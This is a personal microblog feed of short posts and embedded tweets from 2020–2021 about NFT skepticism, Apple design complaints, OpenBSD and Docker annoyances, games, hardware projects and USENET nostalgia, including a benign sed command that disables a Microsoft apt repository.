ยซhttps://www.jwz.org/blog/2021/12/scoundrel-of-the-year/ยปยน
[1] https://www.jwz.org/blog/2021/12/scoundrel-of-the-year/
Ages ago I messed up and set the RSTDISBL fuse on an ATtiny85. TIL my MiniPRO TL866 can program the fuses using the high voltage programming method that doesn't need the /RST line!
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It is a special feeling the first time that prototype hardware & software works. Once I get the 74LS151s I ordered in I will be able to finish validation and order PCBs.
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Not going to lie, this made me respect Keanu just a little bit.
Keanu Reeves' reaction to this question about NFTs is priceless.ยซpic.twitter.com/xlDnaZo8Ogยปยนโ Dare Obasanjo (@Carnage4Life) ยซDecember 10, 2021ยปยฒ
ยซviaยปยณ
[2] https://twitter.com/Carnage4Life/status/1469450312284917760?ref_src=twsrc%5Etfw
[3] https://twitter.com/violetblue/status/1469475019927347207
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Happy Wednesday hereโs your new PA! ยซhttps://t.co/c7wEaMgKMXยปยนยซ#pennyarcadeยปยฒ ยซpic.twitter.com/nhfLpo7Yntยปยณโ Gabe (@cwgabriel) ยซDecember 8, 2021ยปโด
Ownership? Of things? In this day and age? Surely you jest! Think of the corporations!
[2] https://twitter.com/hashtag/pennyarcade?src=hash&ref_src=twsrc%5Etfw
[4] https://twitter.com/cwgabriel/status/1468611541142421504?ref_src=twsrc%5Etfw
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ยซThisยปยน is well worth an hour of you time and incidentally if you ever come across a copy of Sled Driver, I'm *interested*.
[1] https://www.youtube.com/watch?v=hFJMs15sVSY
Round three. Fight!
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After over 100 hours and completing all the side-quests I finally took the plunge and finished the ยซCyberpunk 2077ยปยน main campaign. There are moments of brilliance in this game. Night City feels miles wide and inches deep most of the time but there are gems and characters that make you forget that from time to time. Would like to visit V in a new game plus... someday.
[1] https://www.cyberpunk.net/us/en/
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Oh hey! My plan payment went through ok. Sweet! ๐ ๐
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๐OMG WHO RIGHT CLICKED ALL OF THE ยซ#NFTsยปยน?โ ๏ธ๐ณ๐ดโโ ๏ธ ยซhttps://t.co/o0YRK78AkLยปยฒ ๐ดโโ ๏ธ๐ณ๐ ยซpic.twitter.com/g74TFqzX0nยปยณโ geoff ๐ ๐ต๐น (@GeoffreyHuntley) ยซNovember 18, 2021ยปโด
BWAHAHAHAHAHAHAHAHAHAHAHA
[1] https://twitter.com/hashtag/NFTs?src=hash&ref_src=twsrc%5Etfw
[4] https://twitter.com/GeoffreyHuntley/status/1461322836165885954?ref_src=twsrc%5Etfw
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Moved a bunch of my TOTP tokens into ยซpass-otpยปยน and so far I really like it. I may have to move my Windows PC back to ยซpassffยปยฒ to get integration.
[1] https://github.com/tadfisher/pass-otp#readme
[2] https://github.com/passff/passff
ยซRestricting the ability to view a page's sourceยปยน tramples on the very openness that allowed the web to flourish. You all bring shame upon your houses.
[1] https://www.jwz.org/blog/2021/11/putting-on-my-hacker-hoodie-to-view-source/
I don't get how people think that proving that they lit money and a chunk of the rainforest on fire makes them special. You don't *own* anything.
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Oh No ยซpic.twitter.com/YEfVt8Xrweยปยนโ Jason Scott (@textfiles) ยซNovember 8, 2021ยปยฒ
Look, when Tim O'Reilly first coined "Web 2.0", it was a way of saying, roughly, that static HTML files on sites were going to be augmented, maybe replaced, by dynamic HTML that would update frequently. By this approach, "Web 3.0" or "WEB3" would be the (already here) Web Apps.โ Jason Scott (@textfiles) ยซNovember 8, 2021ยปยณ
But it's quite clear that this new thing with all these opportunistic scammers is something elseSo, I know it won't catch on, but maybe instead when we see them go "WEB3", we go "Oh, the Scumbag Web"โ Jason Scott (@textfiles) ยซNovember 8, 2021ยปโด
Wow, who would have thought Discord would get caught up in the sleezy techbro snakeoil cult of NFTs.
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[2] https://twitter.com/textfiles/status/1457751651465449475?ref_src=twsrc%5Etfw
[3] https://twitter.com/textfiles/status/1457752225439264774?ref_src=twsrc%5Etfw
[4] https://twitter.com/textfiles/status/1457752409036533769?ref_src=twsrc%5Etfw
[5] https://twitter.com/textfiles/status/1457751651465449475
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Notes for UI designers who have lost their way. ยซpic.twitter.com/gjgkAUrnmzยปยนโ CM Scarrington (@octothorpe) ยซNovember 6, 2021ยปยฒ
Lets make contrast sexy again!
[2] https://twitter.com/octothorpe/status/1456805254436204549?ref_src=twsrc%5Etfw
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It's a shame that the ยซmailmanยปยน team decided that the 3.0 rewrite was needed. I've been trying to migrate (because Debian 11 dropped the 2.1 version) but it's pretty terrible. The new list archive interface (named Hyperkitty of all things) is a mess, the index process consumes all 4GB of RAM and 4GB of swap on my mail server and then gets killed by the Linux OOM killer. I'd really have rather kept ยซpipermailยปยฒ.
[2] https://www.gnu.org/software/mailman/mailman-admin/node26.html
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Not sure why Apple felt the need to bury the lede, but the Touch Bar is gone! I'll probably wait a few years and get one on the second hand market because let's face it, I'm not paying $2,499 for a laptop. I'd also like to save my eyes from the contrast-hostile macOS zone for as long as possible (one can hope that contrast comes back in vogue as the designers at Apple reach biological maturity...).
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From the found-somewhere-on-tumblr department:ยซhttps://sahelsoundscompilations.bandcamp.com/album/music-from-saharan-cellphonesยปยน
This is pretty awesome, en elegant technology for a more civilized age.
[1] https://sahelsoundscompilations.bandcamp.com/album/music-from-saharan-cellphones
From the *go-pledge-to-her-patreon-right-now* department:
ยซThe BEST Cybersecurity newsletter out there ยปยน... now with peanut butter...
[1] https://www.patreon.com/posts/cybersecurity-12-57299460
From the *obnoxious-security-theater* department:
ยซhttps://www.schneier.com/blog/archives/2021/10/airline-passenger-mistakes-vintage-camera-for-a-bomb.htmlยปยน
From the *still-rocking-an-iphone-7* department:ยซhttps://brokeassstuart.com/2021/10/11/why-you-should-not-buy-the-iphone-13/ยปยน
I would really like Touch ID to come back please.
[1] https://brokeassstuart.com/2021/10/11/why-you-should-not-buy-the-iphone-13/
Apple's continued war on contrast (as better illustrated by ยซjwzยปยน) is a big part of why only my work laptop is running Big Sur. The other part is that I would like my computer to behave like it is *my computer* and not like it has aspirations of being a *rented phone*.
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ยซhttps://www.schneier.com/blog/archives/2021/10/the-european-parliament-voted-to-ban-remote-biometric-surveillance.htmlยปยน
Somedays I think the EU is a good thing.
Mosaic, A Legitimate Salvage. Someone found ยซhttps://t.co/WGvyfC7pltยปยน, our 1995 NNTP server, at an electronics scrapper. As you would expect for a machine generally occupied as a news spool, various copies at various stages of the newsgroup active file... ยซhttps://t.co/GF9NlasvOeยปยฒโ jอฬ ฬฆฬชอฬอฬฬพฬอ wฬงฬงฬณฬชฬอฬอฬพอขอ zฬขฬฬอฬบฬฬฉฬฬฝฬฬอฬฬฬออ (@jwz) ยซOctober 9, 2021ยปยณ
[3] https://twitter.com/jwz/status/1446941960963596290?ref_src=twsrc%5Etfw
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I'm pretty happy with Windows 10 on my gaming machine so I don't really see a need to upgrade to 11 yet but for future me and anyone else who wants to bypass the Microsoft account bullshit ยซthis postยปยน on alt.comp.os.windows-11 seems to have the goods. ยซMirrored here (with the body decoded)ยปยฒ because it was posted to USENET in base64.
[1] http://www.al.howardknight.net/?ID=163379758700
[2] https://www.going-flying.com/~mernisse/163379758700.txt
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Starting burn-in test on my new OpenBSD router. My poor AMD Athlon II X3 died after 12 years in production. Wanted to stay AMD but the Epyc boards are way too expensive.
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I can't think of a better way to illustrate the absolute state of uselessness and banality of the Apple App Store than this. The featured item in your fancy new section is... a $2.99 dark mode extension...
๐ ๐ ๐
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I straight up love everything Anthony Bourdain ever did and the world was made honestly poorer by his loss. It's a treasure that ยซhis first TV seriesยปยน is now online to watch, for free.
[1] https://kottke.org/21/09/watch-a-cooks-tour-bourdains-first-travelfood-tv-show-for-free-online
To answer all the questions, yes, itโs true, Babylon 5 is in active development as a series for the CW. We have some serious fans over at the network, and theyโre eager to see this show happen. Iโm hip deep into writing the pilot now, and will be running the series upon pickup.โ J. Michael Straczynski (@straczynski) ยซSeptember 27, 2021ยปยน
I am unbelievably excited by this Twitter thread.
[1] https://twitter.com/straczynski/status/1442621159221043202?ref_src=twsrc%5Etfw
ยซThisยปยน is a good reminder why we should stop burning the planet to please techbros. In fact we need to be doing a lot more to make computing more energy efficient. Much of the Internet is just robots shouting at each other.
[1] https://www.wired.com/story/theres-no-good-reason-to-trust-blockchain-technology/
I was *delighted* to discover that ยซrot8000ยปยน is not only a thing... ยซ็ฑฒ็ฑฝ ็ฑช็ฑฌ็ฑฝ็ฑพ็ฑช็ฑต็ฑต็ฒ ็ฒ็ฑธ็ฑป็ฑด็ฑผยปยฒ!
[2] http://rot8000.com/index?็ฑฒ็ฑฝ%20็ฑช็ฑฌ็ฑฝ็ฑพ็ฑช็ฑต็ฑต็ฒ%20็ฒ็ฑธ็ฑป็ฑด็ฑผ
I am officially in the database as an amateur radio license holder. KD2WZR!
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Further proof that ยซself driving cars will not happen during my life timeยปยน. Also, they're a tremendous waste of resources.
[1] https://www.jwz.org/blog/2021/09/murderbots/
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I swear, ยซthe return of Touch IDยปยน and the inevitable disappointment of reality is becoming annual phenomenon. It has saved me a lot of money though. #iphone7
[1] https://www.macrumors.com/2021/06/23/kuo-2022-iphones-under-screen-touch-id/
ยซPeter Hansteenยปยน has a great article on why ยซOpenBSDยปยฒ makes his life better. Like many others, I started my OpenBSD journey because of the sanity in the firewall (ยซPFยปยณ is still worlds better than any other firewall I've worked with) and haven't regretted any of it because frankly *correctness* is something so few software projects strive for with as much earnestness or zeal and is something so sorely needed. It stands at the border of everything I have that's connected to the Internet and has done for nearly 2 decades.
[1] https://bsdly.blogspot.com/2021/08/recent-and-not-so-recent-changes-in.html
[3] http://www.openbsd.org/faq/pf/
I have this disk (in the logical sense, of course) filled with a little over 3.7TB of... well for the lack of a better word nostalgia. Copies of the original ยซโฆsheโs a flight risk ยปยน weblog, an ยซarticleยปยฒ from Wired by Neal Stephenson from when Wired was worth reading, some deeply ยซnostalgicยปยณ relics from when the Internet was young and free, personal archives of Twitch channels, YouTube channels, things... ephemeral. Halcyon On and On just came on Flight Risk Radio as I write this and well it's pretty apt. I wonder what I should do with all of this. I bet ยซ@textfilesยปโด would have an opinion...
[1] https://shes.aflightrisk.org/memory/
[2] https://www.wired.com/1996/12/ffglass/
[3] https://www.salon.com/2002/05/31/back_in_the_day/
[4] https://twitter.com/textfiles
I have to write a thing about how I no longer think Ubiquiti products are good (in some cases I'd say they are no longer fit for purpose) but I'm having trouble doing it without sounding like an old man yelling at a cloud.
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Ran across ยซthisยปยน, saying that Electron apps are good enough. Maybe they are for other people and for quick and dirty use cases. Personally, I refuse to use them unless there is no other alternative. For me, the user experience is always hot garbage. Just because no one has bothered to complain doesn't mean it's *good*. I don't complain to application makers, I just uninstall their apps and move on with my life.
[1] https://nielsleenheer.com/articles/2021/why-electron-apps-are-fine/
I'd like to know if ยซthe latest zero-click iMessage exploitยปยน is targeting the app on your device or the service. I don't use iMessage (the service) but obviously there is no way to remove/bypass iMessage the app.
[1] https://www.wired.com/story/apple-imessage-zero-click-hacks/
It is a shame Ookla (speedtest.net) seems to have a monopoly with speedtest services. Their CLI seems to be a second thought and started silently failing recently. Turns out if you specify a server ID and their API doesn't return it (instead of returning all available servers, they try to be clever and only show you 'local' ones...), then it will simply fail. So now I have to run against whatever server it feels like meaning the data (ยซthat I collect automaticallyยปยน) is completely useless.
[1] https://www.going-flying.com/blog/keeping-an-eye-on-my-isps-performance.html
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Every now and then I think about getting my amateur radio ticket but I'm not sure what I'd do with it. That being said if I end up pulling the trigger, ยซDX Commanderยปยน's YouTube channel is to blame...
[1] https://www.youtube.com/watch?v=5-JyK1WvRX8
So TIL that Python got ยซAssignment Expressionsยปยน (NAME := expr) in 3.8 and I couldn't be more pleased. I have missed being able to write while loops based on the results of an expression that used the results in the body of the loop.
[1] https://www.python.org/dev/peps/pep-0572/
So it looks like not only has Apple's new super fancy NeuralHash algorithm been proven completely laughable, it's been discovered to already be on your device.
via ยซschneier.comยปยน
Well, ยซpatch 1.3ยปยน went live for Cyberpunk 2077 and I finally got bit by a bug. I had just finished the boxing quest line and it's now showing up as unfinished. I even have the text messages you get after completing it still...
[1] https://www.cyberpunk.net/en/news/39092/patch-1-3-list-of-changes
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ยซThis reviewยปยน pretty closely mirrors my own impression of the AirPods Pro. I'll add that if you are trying to switch between an Apple device and a non-Apple device (my work phone runs Android) they frequently refuse to re-connect to anything. They feel alarmingly cheaply built, they won't stop triggering Apple Music (which is useless on my work MacBook Pro, and likely a macOS issue not an AirPod issue) and as noted, the battery life is next to useless.
[1] https://take.surf/2021/08/15/review-airpods-pro-2019
Debian 11 released! Let the ypgrade dance begin!
Via: ยซhttps://www.debian.org/News/2021/20210814ยปยน
[1] https://www.debian.org/News/2021/20210814
An oldie but a goodie! Learn about one of those infamous pieces of code in graphics programming history with our friend over at ยซDave's Garageยปยน.
[1] https://www.youtube.com/watch?v=uCv5VRf8op0
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I pre-ordered my copy of ยซMike Duncan's latest bookยปยน at least 300 years ago... If for some reason you have not yet, perhaps this will encourage you.> We've got a trailer! Watch the trailer! Share the trailer! ยซhttps://t.co/f668LUv86Tยปยฒโ Mike Duncan (@mikeduncan) ยซAugust 10, 2021ยปยณ
[1] https://www.publicaffairsbooks.com/titles/mike-duncan/hero-of-two-worlds/9781541730328/
[3] https://twitter.com/mikeduncan/status/1425202205687156739?ref_src=twsrc%5Etfw
I found ยซthisยปยน article and the proposed Python interface rather novel.via: ยซ<eli$2107121640@qaz.wtf>ยปยฒ
[1] https://vorpus.org/blog/notes-on-structured-concurrency-or-go-statement-considered-harmful/
[2] http://www.al.howardknight.net/?ID=162748722400
Why on Earth would you listen to a podcast backwards? iOS Podcasts is a trash fire but every other podcast app is worse in some pretty glaring way.
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I have told Docker Desktop at least 3 times to day to update and restart and it clearly hasn't. I'm not putting up with this children's software anymore. Through the โmagicโ of ssh port forwarding I'll do any future work on containers on a Linux server like an adult.
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People who ยซexploit their childrenยปยน like this really do disgust me.
[1] https://www.youtube.com/watch?v=wjbTohI9Xg4
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And so ยซthe water warsยปยน of the 21st century begin...
[1] https://www.jwz.org/blog/2021/07/water-pirates/
Wait... a free copy of The Sandman? Yeah, I'll click on that link.
Use ยซhttps://t.co/EjYoJldSQnยปยน. It should be very free in the US, which is less than $34.95 ยซhttps://t.co/DSyYnmzlwbยปยฒ ยซpic.twitter.com/nkLOF21hmsยปยณโ Neil Gaiman (@neilhimself) ยซJuly 23, 2021ยปโด
[4] https://twitter.com/neilhimself/status/1418430245678424070?ref_src=twsrc%5Etfw
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Doing some test fitting...
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Holy shit this is cool.
People have looked inside Mars! An engineering and scientific feat documenting the layers of a red planet! Read the perspective by ยซ@seismo_koelยปยน and myself about the results here : ยซhttps://t.co/Ul9zrYOzk9ยปยฒ ยซ@NASAInSightยปยณ ยซpic.twitter.com/QsKzbVV1c1ยปโดโ Sanne Cottaar (@DeepEarthExplor) ยซJuly 22, 2021ยปโต
[1] https://twitter.com/seismo_koel
[3] https://twitter.com/NASAInSight
[5] https://twitter.com/DeepEarthExplor/status/1418270996252012544?ref_src=twsrc%5Etfw
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I feel like this might be a sideways ยซAcquisitions Incorporatedยปยน reference by CDPR... but probably not.
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I don't know exactly how much CAT-6 I have run in this house but it is well over 1500' at this point.
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ยซGuy who kills bertha guyยปยน is the hero we all deserve. ๐
[1] https://youtu.be/v0awKOIJxiQ?t=776
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Boss makes a dollar, you make a dime, ยซcheck your PPEยปยน on the company time....
[1] https://www.youtube.com/watch?v=MlXOYan3jmM
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Have we reached peak tech bubble bullshit with this? Pay us to shut up about an update!
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Someday I might get me some ยซducks to waterยปยน like our fair Canaderpian friend...
[1] https://www.youtube.com/watch?v=Kx76F4yR134
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I am sure Hackernews is busy n-way dutch ruddering eachother over ยซthisยปยน. I too look forward to the massive copyright infringement cases.
[1] https://www.jwz.org/blog/2021/07/micros1-launches-automated-license-laundering-system/
Wait until they realize the non-zero number of problems we *cause*.
ยซviaยปยน
[1] https://twitter.com/violetblue/status/1410670849158352904
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So uh, the Night City franchise of the ยซAcquisitions Incorporatedยปยน doesn't seem to be doing so well... which is pretty on-brand for them.
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I don't think this will get any traction here in the US any time soon but a boy can hope.
ยซhttps://www.schneier.com/blog/archives/2021/06/banning-surveillance-based-advertising.htmlยปยน
[1] https://www.schneier.com/blog/archives/2021/06/banning-surveillance-based-advertising.html
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Oh, hello! I just got a new pin from a ยซpodcastยปยน that I have been listening to since ยซ2018ยปยฒ. Turns out it is a ยซPatreonยปยณ reward. How delightful. Go listen to The Pirate History Podcast!
[1] https://piratehistorypodcast.com
[2] https://www.going-flying.com/blog/my-favorite-podcasts-2018-edition.html
[3] https://www.patreon.com/piratehistorypodcast
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I get that this is a bit like being a crazy old man shouting at no one in particular, but I can't help but think that it beats being on Twitter by a hemisphere or so.
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Let us remember that the filibuster wasn't even a thing in the US until ~20 years after the formation of the republic and was barely used in the first 180+ years it was in force.
ยซhttps://brokeassstuart.com/2021/06/22/killing-the-filibuster-is-democrats-one-and-only-play/ยปยน
[1] https://brokeassstuart.com/2021/06/22/killing-the-filibuster-is-democrats-one-and-only-play/
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Say what you may about Cyberpunk 2077, but CDPR nailed the mood most of the time.
ยซ"If you can't find a clocktower, the roof of your stolen SUV will do."ยปยน
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Now I need to build something for this guy to lurk in. Good thing I don't have 200 projects in some form of 'in progress' or anything... Oh wait.
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ยซhttps://brokeassstuart.com/2021/06/07/apple-just-banned-hookup-apps-from-the-app-store/ยปยน
But remember kids, the App Store isn't unfairly abusing Apple's market position, you can always buy a Google phone.
[1] https://brokeassstuart.com/2021/06/07/apple-just-banned-hookup-apps-from-the-app-store/
Wondering why all your podcast episodes are out of order now? Don't worry, Apple has created a new fresh default you didn't know you needed and applied it to all your podcasts for you! Enjoy unchecking it for each. I sure did. As an aside, dear lazyweb, can someone make a better podcast app that isn't also trying to be an app store and a social network with a podcast app hung on the side? Thanks.
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Two batteries - $181.75, Top clamshell with keyboard - $87.47, not having to upgrade to Big Sur - Priceless. As an aside, we'll see how the iFixit battery does. I only got a year and about 100 cycles off the last (albeit slightly sketchy eBay) replacement.
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I should actually *finish* a project before I start like 4 more, right?
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ยซSameยปยน fam. Hard same.
[1] https://www.dieselsweeties.com/ics/1180/
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People can be amazingly stupid. ยซhttps://www.nytimes.com/2021/05/12/us/california-tesla-backseat-driver.htmlยปยน
I am pretty certain that as someone in their 30s I can assert that we will not have driverless vehicles for the general public in my life time. People way overestimate the current technology and the problem space.
[1] https://www.nytimes.com/2021/05/12/us/california-tesla-backseat-driver.html
Maybe the fact that I remember buying a lot of software like ยซthisยปยน that makes me dislike App Stores and rental software so much.
[1] https://inessential.com/2021/05/07/what_it_was_like_to_sell_apps_online_in_2003
In case you find yourself in need of the last version of UniFi Video... it looks like it is still on their server even if it isn't linked anywhere.
ยซhttps://dl.ubnt.com/firmwares/ufv/v3.10.13/unifi-video.Debian9_amd64.v3.10.13.debยปยน
[1] https://dl.ubnt.com/firmwares/ufv/v3.10.13/unifi-video.Debian9_amd64.v3.10.13.deb
Second dose was even easier than the first!
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I've been a tmux (previously screen) + stuff kind of person for a long time, mostly because of my rampant use of remote systems for everything. As a result I'm a heavy vi user. I fear I may be in trouble...
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Oh nice, iOS 14.5 just completely destroyed the Podcasts app. Shows that I have listened to, several times over, on this phone, showing up with hundreds of unplayed episodes and lost my place. In case you were under the impression that the engineers even use their software, I think the reality is that they do not. Oh and as usual it is uglier and harder to navigate to the one thing it exists to do, you know, play podcasts...
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I have discovered the best way to browse YouTube, a custom curses app with a ยซkillfileยปยน.
[1] https://en.wikipedia.org/wiki/Kill_file
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This ยซFederated Learning of Cohortsยปยน thing is such garbage for so many reasons but the short list is a) it is impossible to avoid because of a browser monopoly, b) it is impossible to avoid because of an analytics monopoly, c) it is impossible to avoid because of the advertising duopoly, and d) it not only invades the privacy of the user by default, but also of the website owner by default.
Burn it all down.
I already added interest-cohort=() to my Permissions-Policy header but I assume it won't matter because Google's gonna Google.
[1] https://www.eff.org/deeplinks/2021/04/am-i-floced-launch
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COVID-19 vaccine dose #1! Super easy process, friendly and professional people. No excuses.
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Dear Apple, please let me disable this "feature" you amateurs put in this app.
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Remember kids, if you aren't directly paying for something, it's almost certain that YOU are the product.
Not only is Signal a sketchy-as-fuck privacy-violating social network wearing "security" cosplay, now it also has a climate-incinerating Ponzi scheme bundled in.
...
Signal is no less a vertically-integrated, untrustworthy data silo than any product from Facebook or Google.
ยซviaยปยน
[1] https://www.jwz.org/blog/2021/04/signal-hops-on-the-dunning-krugerrand-bandwagon/
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You can ยซhearยปยน the joy in Jamie's voice...
[1] https://www.thebritishhistorypodcast.com/370-the-norman-conquest-of-1066/
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And once again my policy of not trusting ยซclown computingยปยน with the keys to anything I can't afford to lose has been vindicated: ยซWhistleblower: Ubiquiti Breach โCatastrophicโยปยฒ
[1] https://www.jwz.org/blog/2021/03/clown-computing/
[2] https://krebsonsecurity.com/2021/03/whistleblower-ubiquiti-breach-catastrophic/
Of course Feature-Policy is now ยซrenamedยปยน and good lord the list of things I need to turn off is ยซlongยปยฒ. I love that this is *all* on by default, really drives home that the feature of the web is actually hoovering user data and not actually delivering anything useful, or being secure.
[1] https://www.w3.org/TR/permissions-policy-1/#policy-controlled-feature
[2] https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md
ยซThis is meยปยน, 90% of the time I'm watching Youtube videos, though... slightly louder.
[1] https://twitter.com/krisstraub/status/1375480239418003458
I can't believe it took Mozilla *4 years* to support ยซnative fullscreen on MacOSยปยน. I can believe they locked it away behind a byzantine about:config setting though.
[1] https://bugzilla.mozilla.org/show_bug.cgi?id=1403085
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ยซStuff like thisยปยน really helps demystify GUI programming for me โ something I've never really spent the time to get my head around. There is so much handwaving and "oh that is handled by the framework" which I think is part of the unfortunate series of events that lead to dumpster fires like Electron.
tl;dr, go watch ยซDave's Garageยปยฒ
[1] https://www.youtube.com/watch?v=JlZe2JwrJqM
[2] https://www.youtube.com/channel/UCNzszbnvQeFzObW0ghk0Ckw
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I swear, I was only playing ยซCyberpunk 2077ยปยน this evening because I was testing this Grafana dashboard.
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While catching up on comp.sys.raspberry-pi I noticed a bit of an uproar over Raspbian adding the VSCode package repository to the system. All my Raspberry Pis are headless appliances so a quick addition to my Ansible playbook made quick work of that.
- name: disable microsoft repository
shell: if grep -q '^deb.*microsoft\.com'
/etc/apt/sources.list.d/vscode.list; then
sed -i '/^deb.*microsoft\.com/ s/^/# /'
/etc/apt/sources.list.d/vscode.list;
fi
If you don't use Ansible, this sed(1) command should do what you want.
sed -i '/^deb.*microsoft\.com/ s/^/# /' /etc/apt/sources.list.d/vscode.list
Every few months when I go back to check up on the few ยซUSENETยปยน groups that I still follow I can't help but shake my head at how much usability we threw away poorly porting^W "re-inventing" everything for profit^W the web. Entire generations growing up without proper threading or ยซkillfilesยปยฒ.
[1] https://en.wikipedia.org/wiki/Usenet
[2] https://en.wikipedia.org/wiki/Kill_file
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Double March. The date is now Monday, March 366th, 2020. Sorry, you don't get a new March until you've finished the last one. If you see anyone claiming that today is March 365th, congratulate them on fucking up their leap year math. perl -e 'use... ยซhttps://t.co/Hhp62JW38sยปยนโ jอฬ ฬฆฬชอฬอฬฬพฬอ wฬงฬงฬณฬชฬอฬอฬพอขอ zฬขฬฬอฬบฬฬฉฬฬฝฬฬอฬฬฬออ (@jwz) ยซMarch 1, 2021ยปยฒ
[2] https://twitter.com/jwz/status/1366436622535909379?ref_src=twsrc%5Etfw
Why have we not shamed Bitcoin into irrelevance yet?
(via ยซjwzยปยน)
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Congrats to the ยซ@NASAPersevereยปยน team for their successful touchdown on the surface of Mars.
[1] https://twitter.com/NASAPersevere
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ยซMood.ยปยน(ยซImage Credit)ยปยฒ
[1] https://www.youtube.com/watch?v=uc3SzRiXTAY
[2] https://www.jpl.nasa.gov/news/pale-blue-dot-images-turn-25
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ยซThisยปยน is a pretty good look at some of the glaring trust problems with programming language package repositories. Personally, I don't use npm at all, and for Python I prefer to either stick to the standard library or use packages provided by my distribution. You can never audit all that code, so how can you trust it?
[1] https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
What I find most amazing about ยซBBC Micro Botยปยน is that is emulating a BBC Micro computer, with it's plucky little ยซ6502ยปยฒ processor... in JavaScript. Oh and it's running a dump of the original BASIC ROM in there to turn ยซcodeยปยณ in a a tweeter into video.
[1] https://www.bbcmicrobot.com
[2] https://en.wikipedia.org/wiki/MOS_Technology_6502
[3] https://bbcmic.ro/?load=1244318975695208448
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I am equally in a place of 'how is this a thing?!' and 'OF COURSE THIS IS A THING!'.
ยซhttps://twitter.com/AppleIIBot/status/1355958684367548417ยปยน
[1] https://twitter.com/AppleIIBot/status/1355958684367548417
Hello friends. As I said in the latest episode...Hero of Two Worlds has a cover! ยซpic.twitter.com/XVm9nAQfRgยปยนโ Mike Duncan (@mikeduncan) ยซJanuary 25, 2021ยปยฒ
Highly anticipated and now pre-ordered.
[2] https://twitter.com/mikeduncan/status/1353751555019833349?ref_src=twsrc%5Etfw
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The Internet was a Mistake. TeenageStepdad: ยซhttps://t.co/9pgOWtgHGzยปยนโ jอฬ ฬฆฬชอฬอฬฬพฬอ wฬงฬงฬณฬชฬอฬอฬพอขอ zฬขฬฬอฬบฬฬฉฬฬฝฬฬอฬฬฬออ (@jwz) ยซJanuary 18, 2021ยปยฒ
[2] https://twitter.com/jwz/status/1351273017431773186?ref_src=twsrc%5Etfw
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I thought I ranted a lot about Apple's poor engineering direction lately... ๐ ยซThis guyยปยน has me beat.
[1] https://macperformanceguide.com/autoTopic.html?dglyTP=Apple%20Core%20Rot
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Ironically, staging an insurrectionary riot at the capitol has driven corporate money from politics. Vive la revolution?โ Mike Duncan (@mikeduncan) ยซJanuary 13, 2021ยปยน
[1] https://twitter.com/mikeduncan/status/1349461360611106816?ref_src=twsrc%5Etfw
Ugh. Work laptop updated to Big Sur last night. Whoever did the UI design clearly thinks that iOS is the pinnacle of UX. The modal dialog boxes are a travesty, cranking up the padding on all the UI elements to fit the new border radius on everything is a huge waste of space, all the contrast is completely gone. I'm sure many users won't notice but I can't imagine long time Mac users thinking this is actually an improvement.
I'm not usually into computer cases marketed towards gamers (my gaming PC is in as small a case as I could fit it in, which is my jam) but the ยซFractal Design Node 804ยปยน has been easy to work on so far and has a minimal number of silly gamer things (really just a window). I think it is silly it only has mounts for only 8 3ยฝ inch hard drives. There is room for at least 12 in there.
[1] https://www.fractal-design.com/products/cases/node/node-804/black/
Still no APU, but I have all the other bits for ยซna-tardisยปยน So I might as well do a test fit. So far so good!
[1] https://www.going-flying.com/network.html
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Happy ยซMarch 313, 2020ยปยน, the good news is that there will be ยซno leap secondยปยฒ added if we ever make it to June 2021.
[1] https://bennie2.blob.core.windows.net/deploy/date.html
[2] https://datacenter.iers.org/data/latestVersion/16_BULLETIN_C16.txt
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Clamshell replaced and tested good in an hour 42. Not bad. Could have been faster if I didn't miss the backlight cable and bury the mic cable the first time I put the logic board in. No spare fasteners, which I take as a bad omen.
Keys all work! Backlight troubleshooting time...
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When we joke about technology being held together by bubble gum and string, we aren't quite as literal as Apple...
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About half way through reassembly. Signs of life.
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I love how easy it is to replace the "e" key on my obsessively engineered Apple product...
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Just waiting for somone to restock of the Ryzen 3400G so I can finish the upgrade of ยซtardisยปยน. I refuse to pay the scalpers.
[1] https://www.going-flying.com/network.html
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Man... I thought I had an infatuation with LEDs... ยซFriday Night Lites - Fly at Nightยปยน
[1] https://www.youtube.com/watch?v=iUfq6sFnExY
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In spite of being ยซwildly profitableยปยน during the pandemic ยซApple has received almost a billion dollars in welfareยปยฒ?! Yeah. It might be time to resurrect Madame la Guillotine.
[1] https://www.apple.com/newsroom/2020/10/apple-reports-fourth-quarter-results/
[2] https://brokeassstuart.com/2020/12/30/which-companies-you-should-shoplift-from/
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I have been a long time shadow member of ยซalt.fan.jwzยปยน and even though I live a continent away I am a proud supporter of the ยซDNA Lounge Patreonยปยฒ. I think the ยซlatestยปยณ from jwz on the DNA Lounge blog shows how worthy a cause this is, even if you never actually go there.
[2] https://www.patreon.com/dnalounge/
[3] https://www.dnalounge.com/backstage/log/2020/12/31.html
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The first car that I owned was a 1985 Mazda RX-7 GSL-SE with a 13B rotary engine. As such ยซthisยปยน is 100% my jam.
[1] https://www.youtube.com/watch?v=bjjxmNPnIOE
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This is a really amazing look into the construction of the ยซBioNTech/Pfizer SARS-CoV-2 mRNA vaccineยปยน. It shows that in scientific endeavor almost nothing is done in a vacuum, and that decades of research in seemingly unrelated subjects can come together in a time of need to create miracles.
Wait, the guy who wrote taskman.exe is on ยซYouTubeยปยน telling stories and building things with ยซRGB LEDsยปยฒ? I know what I'm doing for the next several hours.
[1] https://www.youtube.com/channel/UCNzszbnvQeFzObW0ghk0Ckw
[2] https://www.youtube.com/watch?v=iX0YGp0poUQ
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I feel like I shouldn't have had to spend an hour searching for this ยซstupid changeยปยน in Docker 20.10. I get that people reasonably think that it's a positive change for security (which people will likely promptly turn off) but either Debian or Docker (or both) dropped the ball because it broke every single one of my deployments and I had to go figure out why by searching. Nothing obvious in systemd's journal, nothing obvious in syslog, just cryptic ass OpenSSL errors. The documentation wasn't updated anywhere obvious, certainly not the daemon's help text (dockerd --help), or the manpage (dockerd(8)), or the ยซcanonical release notesยปยฒ. Setting --tlsverify=false even being a thing was something I had to infer from the PR. I guess 'not being able to use the API' counts as secure at least. ๐
[1] https://github.com/moby/moby/pull/41285
[2] https://docs.docker.com/engine/release-notes/
ยซpic.twitter.com/gtoOm93PeMยปยนโ itsagundam (@GundamIsHere) ยซDecember 14, 2020ยปยฒ
[2] https://twitter.com/GundamIsHere/status/1338576194820845575?ref_src=twsrc%5Etfw
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A new ยซClickspringยปยน post?! Christmas came early!
[1] https://www.youtube.com/watch?v=MkKgdq57uOo
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I'm going to need to build a handful of ยซtheseยปยน for all the power banks I have!
[1] https://www.youtube.com/watch?v=lOL3ic8msas
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I don't care if you like cooking or not, you really must watch Alex's just-completed series on ยซsaucesยปยน. It may re-define what you think about sauce.
